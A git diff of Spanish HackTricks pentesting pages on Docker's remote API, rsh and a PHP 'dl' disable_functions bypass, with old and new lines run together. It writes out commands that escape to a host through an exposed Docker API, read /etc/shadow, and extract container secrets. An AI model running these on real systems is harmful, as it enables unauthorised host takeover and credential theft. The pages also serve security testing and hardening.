* [containerd](http://containerd.io) es un tiempo de ejecución de contenedores que puede **administrar todo el ciclo de vida de un contenedor, desde la transferencia/almacenamiento de imágenes hasta la ejecución, supervisión y redes de contenedores**. **Más información sobre containerd a continuación.** * [containerd](http://containerd.io) es un tiempo de ejecución de contenedores que puede **gestionar todo el ciclo de vida de un contenedor, desde la transferencia/almacenamiento de imágenes hasta la ejecución del contenedor**, supervisión y redes. **Más información sobre containerd a continuación.**
* container-shim maneja contenedores sin cabeza, lo que significa que una vez que runc inicializa los contenedores, sale entregando los contenedores al container-shim que actúa como intermediario. * container-shim maneja contenedores sin cabeza, lo que significa que una vez que runc inicializa los contenedores, sale entregando los contenedores al container-shim que actúa como intermediario.
* [runc](http://runc.io) es un tiempo de ejecución de contenedores universal y ligero, que cumple con la especificación OCI. **runc es utilizado por containerd para generar y ejecutar contenedores según la especificación OCI**. También es el empaquetado de libcontainer. * [runc](http://runc.io) es un tiempo de ejecución de contenedores universal y ligero, que cumple con la especificación OCI. **runc es utilizado por containerd para generar y ejecutar contenedores según la especificación OCI**. También es el empaquetado de libcontainer.
* [grpc](http://www.grpc.io) se utiliza para la comunicación entre containerd y docker-engine. * [grpc](http://www.grpc.io) se utiliza para la comunicación entre containerd y docker-engine.
* [OCI](https://www.opencontainers.org) mantiene la especificación OCI para tiempo de ejecución e imágenes. Las versiones actuales de Docker admiten las especificaciones de imagen y tiempo de ejecución de OCI. * [OCI](https://www.opencontainers.org) mantiene la especificación OCI para tiempo de ejecución e imágenes. Las versiones actuales de Docker admiten las especificaciones de imagen y tiempo de ejecución OCI.
![runC, containerD](https://i.stack.imgur.com/5aXF6.png) ![runC, containerD](https://i.stack.imgur.com/5aXF6.png)
@ -55,9 +57,9 @@ docker system prune -a
``` ```
### Containerd ### Containerd
Containerd fue diseñado para ser utilizado por Docker y Kubernetes, así como cualquier otra plataforma de contenedores que quiera **abstraer las llamadas al sistema o la funcionalidad específica del sistema operativo para ejecutar contenedores** en Linux, Windows, Solaris u otros sistemas operativos. Con estos usuarios en mente, queríamos asegurarnos de que containerd tenga solo lo que necesitan y nada que no necesiten. Realísticamente esto es imposible, pero al menos eso es lo que intentamos. Cosas como **la red están fuera del alcance de containerd**. La razón de esto es que, cuando se está construyendo un sistema distribuido, la red es un aspecto muy central. Con SDN y el descubrimiento de servicios hoy en día, la red es mucho más específica de la plataforma que abstraer las llamadas netlink en Linux. Containerd fue diseñado para ser utilizado por Docker y Kubernetes, así como por cualquier otra plataforma de contenedores que desee **abstraer las llamadas al sistema o la funcionalidad específica del sistema operativo para ejecutar contenedores** en Linux, Windows, Solaris u otros sistemas operativos. Con estos usuarios en mente, queríamos asegurarnos de que containerd tenga solo lo que necesitan y nada más. Realísticamente esto es imposible, pero al menos eso es lo que intentamos. Cosas como **la red están fuera del alcance de containerd**. La razón de esto es que, al construir un sistema distribuido, la red es un aspecto muy central. Con SDN y el descubrimiento de servicios hoy en día, la red es mucho más específica de la plataforma que abstraer las llamadas de netlink en Linux.
Tenga en cuenta que **Docker utiliza Containerd, pero solo proporciona un subconjunto de las características que Docker proporciona**. Por lo tanto, ContainerD no tiene las características de gestión de red de Docker, ni se puede utilizar ContainerD solo para crear enjambres de Docker. Ten en cuenta que **Docker utiliza Containerd, pero solo proporciona un subconjunto de las características que Docker ofrece**. Por ejemplo, ContainerD no tiene las características de gestión de red de Docker, ni puedes usar ContainerD solo para crear enjambres de Docker.
```bash ```bash
#Containerd CLI #Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
@ -75,22 +77,21 @@ ctr container delete <containerName>
``` ```
### Podman ### Podman
**Información** [**de aquí**](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html) Un motor de contenedores de código abierto y compatible con OCI ([Open Container Initiative](https://github.com/opencontainers)) conocido como Podman es mantenido por Red Hat. Se caracteriza por varias distinciones clave con respecto a Docker, incluida su estructura sin demonio y el soporte para contenedores que no requieren acceso de root. La función principal de ambas herramientas es gestionar imágenes y contenedores. Un objetivo notable de Podman es la compatibilidad con la API de Docker, lo que permite el uso de casi todos los comandos de CLI de Docker dentro de Podman.
Podman es un motor de contenedores de código abierto compatible con OCI ([Open Container Initiative](https://github.com/opencontainers)). Es impulsado por Red Hat e incorpora algunas diferencias importantes con Docker, como su arquitectura sin daemon y el soporte para contenedores sin root. En su núcleo, **ambas herramientas hacen lo mismo: gestionar imágenes y contenedores**. Uno de **los objetivos de Podman es tener una API compatible con Docker**. Por lo tanto, casi todos los comandos de la CLI (interfaz de línea de comandos) de Docker también están disponibles en Podman. Dentro del ecosistema de Podman, se encuentran dos herramientas adicionales, Buildah y Skopeo. Buildah sirve como una herramienta de CLI para construir imágenes de contenedores, mientras que Skopeo se utiliza para operaciones en imágenes como push, pull o inspectar. Para obtener más información sobre estas herramientas y su integración con Podman, [consulte su página de GitHub](https://github.com/containers/buildah/tree/master/docs/containertools).
Puede encontrar otras dos herramientas en el ecosistema de Podman: Buildah y Skopeo. Buildah es una herramienta de CLI utilizada para construir imágenes de contenedores, y Skopeo es una herramienta de CLI para ejecutar operaciones en imágenes, como push, pull o inspect. [Por favor, consulte GitHub](https://github.com/containers/buildah/tree/master/docs/containertools) para obtener más información sobre estas herramientas y su relación con Podman. **Diferencias Clave**
**Las principales diferencias** La diferencia más significativa entre Docker y Podman radica en su diseño arquitectónico. Docker opera en un modelo cliente-servidor, lo que requiere el uso de la CLI de Docker para interactuar con un demonio en segundo plano responsable de la construcción de imágenes y la ejecución de contenedores, que opera con privilegios de root. En contraste, Podman emplea una arquitectura sin demonio, lo que permite que los contenedores se ejecuten bajo los privilegios del usuario iniciador sin necesidad de acceso de root. Este diseño garantiza que los usuarios de Podman solo puedan interactuar con sus propios contenedores, sin un demonio compartido para la comunicación de CLI.
**La mayor diferencia entre Docker y Podman es su arquitectura**. **Docker** se ejecuta en una arquitectura **cliente-servidor**, mientras que **Podman** se ejecuta en una arquitectura **sin daemon**. Pero, ¿qué significa eso? Al trabajar con **Docker**, debe usar la CLI de Docker, que se comunica con un **daemon en segundo plano** (el daemon de Docker). La lógica principal reside en el daemon, que construye imágenes y ejecuta contenedores. Este **daemon se ejecuta con privilegios de root**. La arquitectura de **Podman**, por el contrario, le permite **ejecutar los contenedores bajo el usuario que está iniciando el contenedor** (fork/exec), y este usuario no necesita ningún privilegio de root. Debido a que **Podman tiene una arquitectura sin daemon, cada usuario que ejecuta Podman solo puede ver y modificar sus propios contenedores**. No hay un daemon común con el que la herramienta CLI se comunique. Para dar cabida a la operación de contenedores en segundo plano sin un demonio, Podman se integra con **systemd**, lo que permite la gestión de contenedores a través de unidades de systemd. Esta integración varía con la versión de Podman, ofreciendo la capacidad de generar unidades tanto para contenedores existentes como para aquellos que aún no se han creado, así como facilitando la operación de systemd dentro de los contenedores. A diferencia de Podman, Docker tradicionalmente depende de systemd para la gestión de procesos de demonio.
Dado que Podman no tiene un daemon, necesita una forma de admitir la ejecución de contenedores en segundo plano. Por lo tanto, proporciona una integración con **systemd**, que permite controlar los contenedores a través de unidades de systemd. Dependiendo de la versión de Podman, puede generar estas unidades para contenedores existentes o generar unidades que puedan crear contenedores si no existen en el sistema. Hay otro modelo de integración con systemd, que permite que systemd se ejecute dentro de un contenedor. Por defecto, Docker utiliza systemd para controlar el proceso del daemon. Otra diferencia crítica radica en la ejecución de contenedores. Podman permite que los contenedores se ejecuten con los privilegios del usuario iniciador, no bajo un demonio. Esto introduce el concepto de contenedores sin root, que pueden iniciarse sin acceso de root, ofreciendo una ventaja de seguridad significativa al limitar el impacto potencial de violaciones de contenedores. Los contenedores sin root garantizan que el atacante de un contenedor comprometido posea solo los privilegios de un usuario normal en el host, evitando la escalada de privilegios más allá de los del usuario iniciador y, por lo tanto, mejorando la seguridad.
La segunda diferencia importante se refiere a cómo se ejecutan los contenedores. Con **Podman**, **los contenedores se ejecutan con los privilegios del usuario y no con los del daemon**. En este punto, entra en juego el concepto de contenedores sin root, lo que significa que el contenedor se puede iniciar sin privilegios de root. Los contenedores sin root tienen una gran ventaja sobre los contenedores con root ya que (lo adivinó) no se ejecutan bajo la cuenta de root. El beneficio de esto es que si un atacante es capaz de capturar y escapar de un contenedor, este atacante sigue siendo un usuario normal en el host. Los contenedores que son iniciados por un usuario no pueden tener más privilegios o capacidades que el propio usuario. Esto agrega una capa de protección natural.
{% hint style="info" %} {% hint style="info" %}
Tenga en cuenta que como Podman tiene como objetivo admitir la misma API que Docker, puede usar los mismos comandos con Podman que con Docker, como: Tenga en cuenta que dado que Podman tiene como objetivo admitir la misma API que Docker, puede utilizar los mismos comandos con Podman que con Docker, como:
```bash ```bash
podman --version podman --version
podman info podman info
@ -99,11 +100,11 @@ podman ls
``` ```
{% endhint %} {% endhint %}
## Información básica ## Información Básica
El API remoto se ejecuta por defecto en el puerto 2375 cuando está habilitado. El servicio por defecto no requerirá autenticación, lo que permite a un atacante iniciar un contenedor de docker privilegiado. Al utilizar el API remoto, se pueden adjuntar hosts / (directorio raíz) al contenedor y leer/escribir archivos del entorno del host. El API remoto se ejecuta de forma predeterminada en el puerto 2375 cuando está habilitado. El servicio, por defecto, no requerirá autenticación, lo que permite a un atacante iniciar un contenedor de Docker privilegiado. Al utilizar el API remoto, se puede adjuntar hosts / (directorio raíz) al contenedor y leer/escribir archivos del entorno del host.
**Puerto por defecto:** 2375 **Puerto predeterminado:** 2375
``` ```
PORT STATE SERVICE PORT STATE SERVICE
2375/tcp open docker 2375/tcp open docker
@ -148,10 +149,10 @@ Server: Docker Engine - Community
Version: 0.18.0 Version: 0.18.0
GitCommit: fec3683 GitCommit: fec3683
``` ```
Si puedes **contactar la API remota de Docker con el comando `docker`**, puedes **ejecutar** cualquiera de los [**comandos de Docker previamente comentados**](2375-pentesting-docker.md#basic-commands) para interactuar con el servicio. Si puedes **contactar el API remoto de docker con el comando `docker`** puedes **ejecutar** cualquiera de los **comandos de docker** [**previamente comentados**](2375-pentesting-docker.md#basic-commands) para interactuar con el servicio.
{% hint style="info" %} {% hint style="info" %}
Puedes `exportar DOCKER_HOST="tcp://localhost:2375"` y **evitar** usar el parámetro `-H` con el comando docker. Puedes `export DOCKER_HOST="tcp://localhost:2375"` y **evitar** usar el parámetro `-H` con el comando docker
{% endhint %} {% endhint %}
#### Escalada rápida de privilegios #### Escalada rápida de privilegios
@ -160,7 +161,7 @@ docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
``` ```
#### Curl #### Curl
En ocasiones, verás que el puerto **2376** está disponible para el punto final **TLS**. No he podido conectarme a él con el cliente de Docker, pero puedes hacerlo sin problemas con curl para acceder a la API de Docker. A veces verás **2376** disponible para el punto final de **TLS**. No he podido conectarme a él con el cliente de docker, pero puedes hacerlo con curl sin problemas para acceder a la API de docker.
```bash ```bash
#List containers #List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
@ -190,7 +191,7 @@ curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-ope
#Delete stopped containers #Delete stopped containers
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
``` ```
Si desea obtener más información sobre esto, puede encontrarla en el sitio web donde copié los comandos: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/) Si deseas obtener más información al respecto, puedes encontrar más información en el sitio desde donde copié los comandos: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
### Automático ### Automático
```bash ```bash
@ -205,31 +206,31 @@ En la siguiente página puedes encontrar formas de **escapar de un contenedor de
[docker-security](../linux-hardening/privilege-escalation/docker-security/) [docker-security](../linux-hardening/privilege-escalation/docker-security/)
{% endcontent-ref %} {% endcontent-ref %}
Abusando de esto, es posible escapar de un contenedor, podrías ejecutar un contenedor débil en la máquina remota, escapar de él y comprometer la máquina: Abusando de esto es posible escapar de un contenedor, podrías ejecutar un contenedor débil en la máquina remota, escapar de él y comprometer la máquina:
```bash ```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow cat /mnt/etc/shadow
``` ```
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)
## Escalada de privilegios ## Escalación de privilegios
Si estás dentro de un host que está utilizando Docker, puedes [**leer esta información para intentar elevar privilegios**](../linux-hardening/privilege-escalation/#writable-docker-socket). Si te encuentras dentro de un host que está utilizando Docker, puedes [**leer esta información para intentar elevar privilegios**](../linux-hardening/privilege-escalation/#writable-docker-socket).
## Descubriendo secretos en contenedores Docker en ejecución ## Descubriendo secretos en contenedores Docker en ejecución
```bash ```bash
docker ps [| grep <kubernetes_service_name>] docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id> docker inspect <docker_id>
``` ```
Revisa la sección **env** (variables de entorno) en busca de secretos y podrías encontrar: Verifique **env** (sección de variables de entorno) en busca de secretos y es posible que encuentre:
* Contraseñas. * Contraseñas.
* IPs. * IP's.
* Puertos. * Puertos.
* Rutas. * Rutas.
* Otros... * Otros... .
Si deseas extraer un archivo: Si desea extraer un archivo:
```bash ```bash
docker cp <docket_id>:/etc/<secret_01> <secret_01> docker cp <docket_id>:/etc/<secret_01> <secret_01>
``` ```
@ -241,20 +242,20 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
* `./docker-bench-security.sh` * `./docker-bench-security.sh`
* Puedes usar la herramienta [https://github.com/kost/dockscan](https://github.com/kost/dockscan) para inspeccionar tu instalación actual de Docker. * Puedes usar la herramienta [https://github.com/kost/dockscan](https://github.com/kost/dockscan) para inspeccionar tu instalación actual de Docker.
* `dockscan -v unix:///var/run/docker.sock` * `dockscan -v unix:///var/run/docker.sock`
* Puedes usar la herramienta [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) para conocer los privilegios que tendrá un contenedor cuando se ejecute con diferentes opciones de seguridad. Esto es útil para conocer las implicaciones de usar algunas opciones de seguridad para ejecutar un contenedor: * Puedes usar la herramienta [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) para conocer los privilegios que tendrá un contenedor al ejecutarse con diferentes opciones de seguridad. Esto es útil para comprender las implicaciones de usar ciertas opciones de seguridad para ejecutar un contenedor:
* `docker run --rm -it r.j3ss.co/amicontained` * `docker run --rm -it r.j3ss.co/amicontained`
* `docker run --rm -it --pid host r.j3ss.co/amicontained` * `docker run --rm -it --pid host r.j3ss.co/amicontained`
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained` * `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
### Asegurando las imágenes de Docker ### Asegurando Imágenes de Docker
* Puedes usar una imagen de Docker de [https://github.com/quay/clair](https://github.com/quay/clair) para escanear tus otras imágenes de Docker y encontrar vulnerabilidades. * Puedes usar una imagen de Docker de [https://github.com/quay/clair](https://github.com/quay/clair) para escanear tus otras imágenes de Docker y encontrar vulnerabilidades.
* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"` * `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image` * `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
### Asegurando los Dockerfiles ### Asegurando Dockerfiles
* Puedes usar la herramienta [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) para **inspeccionar tu Dockerfile** y encontrar todo tipo de configuraciones incorrectas. A cada configuración incorrecta se le asignará un ID, puedes encontrar aquí [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) cómo solucionar cada una de ellas. * Puedes usar la herramienta [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) para **inspeccionar tu Dockerfile** y encontrar todo tipo de configuraciones incorrectas. A cada configuración incorrecta se le asignará un ID, puedes encontrar aquí [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) cómo corregir cada una de ellas.
* `dockerfilelinter -f Dockerfile` * `dockerfilelinter -f Dockerfile`
![](<../.gitbook/assets/image (418).png>) ![](<../.gitbook/assets/image (418).png>)
@ -274,10 +275,10 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
![](<../.gitbook/assets/image (421).png>) ![](<../.gitbook/assets/image (421).png>)
### Registrando actividad sospechosa ### Registrando Actividades Sospechosas
* Puedes usar la herramienta [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) para detectar **comportamientos sospechosos en contenedores en ejecución**. * Puedes usar la herramienta [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) para detectar **comportamientos sospechosos en contenedores en ejecución**.
* Observa en el siguiente fragmento cómo **Falco compila un módulo del kernel e lo inserta**. Después, carga las reglas y **comienza a registrar actividades sospechosas**. En este caso, ha detectado 2 contenedores privilegiados iniciados, 1 de ellos con un montaje sensible, y después de algunos segundos ha detectado cómo se abrió una shell dentro de uno de los contenedores. * Observa en el siguiente fragmento cómo **Falco compila un módulo del kernel e lo inserta**. Después de eso, carga las reglas y **comienza a registrar actividades sospechosas**. En este caso, ha detectado 2 contenedores privilegiados iniciados, 1 de ellos con un montaje sensible, y después de algunos segundos detectó cómo se abrió una terminal dentro de uno de los contenedores.
``` ```
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host * Setting up /usr/src links from host
@ -320,4 +321,7 @@ falco-probe found and loaded in dkms
``` ```
### Monitoreo de Docker ### Monitoreo de Docker
Puede utilizar auditd para monitorear Docker. Puedes usar auditd para monitorear Docker.
# Referencias
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)

View file

@ -2,23 +2,23 @@
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
## Información Básica ## Información Básica
**Rsh** utiliza archivos **.rhosts** y **/etc/hosts.equiv** para autenticación. Estos métodos se basaban en direcciones IP y DNS (Sistema de Nombres de Dominio) para la autenticación. Sin embargo, suplantar direcciones IP es bastante fácil, especialmente si el atacante está en la red local. Para la autenticación, se utilizaron archivos **.rhosts** junto con **/etc/hosts.equiv** por **Rsh**. La autenticación dependía de direcciones IP y del Sistema de Nombres de Dominio (DNS). La facilidad para falsificar direcciones IP, especialmente en la red local, era una vulnerabilidad significativa.
Además, los archivos **.rhosts** se almacenaban en los directorios personales de los usuarios, que típicamente se guardaban en volúmenes de NFS (Sistema de Archivos de Red). (de aquí: [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)). Además, era común que los archivos **.rhosts** se colocaran dentro de los directorios de inicio de los usuarios, que a menudo estaban ubicados en volúmenes de Sistema de Archivos de Red (NFS).
**Puerto predeterminado**: 514 **Puerto predeterminado**: 514
@ -29,18 +29,21 @@ rsh <IP> -l domain\user <Command>
rsh domain/user@<IP> <Command> rsh domain/user@<IP> <Command>
rsh domain\\user@<IP> <Command> rsh domain\\user@<IP> <Command>
``` ```
### [**Fuerza Bruta**](../generic-methodologies-and-resources/brute-force.md#rsh) ### [**Fuerza bruta**](../generic-methodologies-and-resources/brute-force.md#rsh)
## Referencias
* [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)]
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>

View file

@ -1,337 +1,106 @@
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
**Nota importante:** **Nota importante:**
![image](https://user-images.githubusercontent.com/84577967/174675487-a4c4ca06-194f-4725-85af-231a2f35d56c.png) ![imagen](https://user-images.githubusercontent.com/84577967/174675487-a4c4ca06-194f-4725-85af-231a2f35d56c.png)
**`dl`** es una función de PHP que se puede utilizar para cargar extensiones de PHP. Si la función no está deshabilitada, podría ser abusada para **burlar `disable_functions` y ejecutar comandos arbitrarios**.\ **`dl`** es una función de PHP que se puede utilizar para cargar extensiones de PHP. Si la función no está deshabilitada, se podría abusar de ella para **burlar `disable_functions` y ejecutar comandos arbitrarios**.\
Sin embargo, tiene algunas limitaciones estrictas: Sin embargo, tiene algunas limitaciones estrictas:
* La función `dl` debe estar **presente** en el **entorno** y **no deshabilitada** * La función `dl` debe estar **presente** en el **entorno** y **no deshabilitada**
* La extensión de PHP **debe estar compilada con la misma versión mayor** (versión de la API de PHP) que la que está utilizando el servidor (puedes ver esta información en la salida de phpinfo) * La extensión de PHP **debe compilarse con la misma versión principal** (versión de API de PHP) que está utilizando el servidor (puedes ver esta información en la salida de phpinfo)
* La extensión de PHP debe estar **ubicada en el directorio** que está **definido** por la directiva **`extension_dir`** (puedes verlo en la salida de phpinfo). Es muy improbable que un atacante que intenta abusar del servidor tenga acceso de escritura sobre este directorio, por lo que este requisito probablemente te impedirá abusar de esta técnica). * La extensión de PHP debe estar **ubicada en el directorio** que está **definido** por la directiva **`extension_dir`** (puedes verlo en la salida de phpinfo). Es muy improbable que un atacante que intente abusar del servidor tenga acceso de escritura sobre este directorio, por lo que este requisito probablemente te impedirá abusar de esta técnica).
**Si cumples con estos requisitos, continúa leyendo esta publicación copiada de** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **para aprender cómo burlar disable\_functions** **Si cumples con estos requisitos, continúa leyendo la publicación** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **para aprender cómo burlar `disable_functions`**. Aquí tienes un resumen:
Cuando el administrador estaba configurando la caja, pasó por alto la [función dl](http://www.php.net/manual/en/function.dl.php) y no la deshabilitó ya que no había mención de poder ejecutar comandos del sistema.\ La [función dl](http://www.php.net/manual/en/function.dl.php) se utiliza para cargar extensiones de PHP dinámicamente durante la ejecución del script. Las extensiones de PHP, generalmente escritas en C/C++, mejoran la funcionalidad de PHP. El atacante, al darse cuenta de que la función `dl` no está deshabilitada, decide crear una extensión de PHP personalizada para ejecutar comandos del sistema.
La [función dl](http://www.php.net/manual/en/function.dl.php) se utiliza para cargar extensiones de PHP cuando se ejecuta un script.\
\
(Las extensiones de PHP están escritas en C/C++ y se utilizan para dar más funcionalidad a PHP.)\
\
El atacante nota que la función no está deshabilitada y ve potencial y decide crear una extensión de PHP.\
El atacante verifica la versión de PHP utilizando un pequeño script `<?php echo 'La versión de PHP es '.PHP_VERSION; ?>` (PHP\_VERSION es una constante predefinida que contiene el número de versión de PHP.)\
\
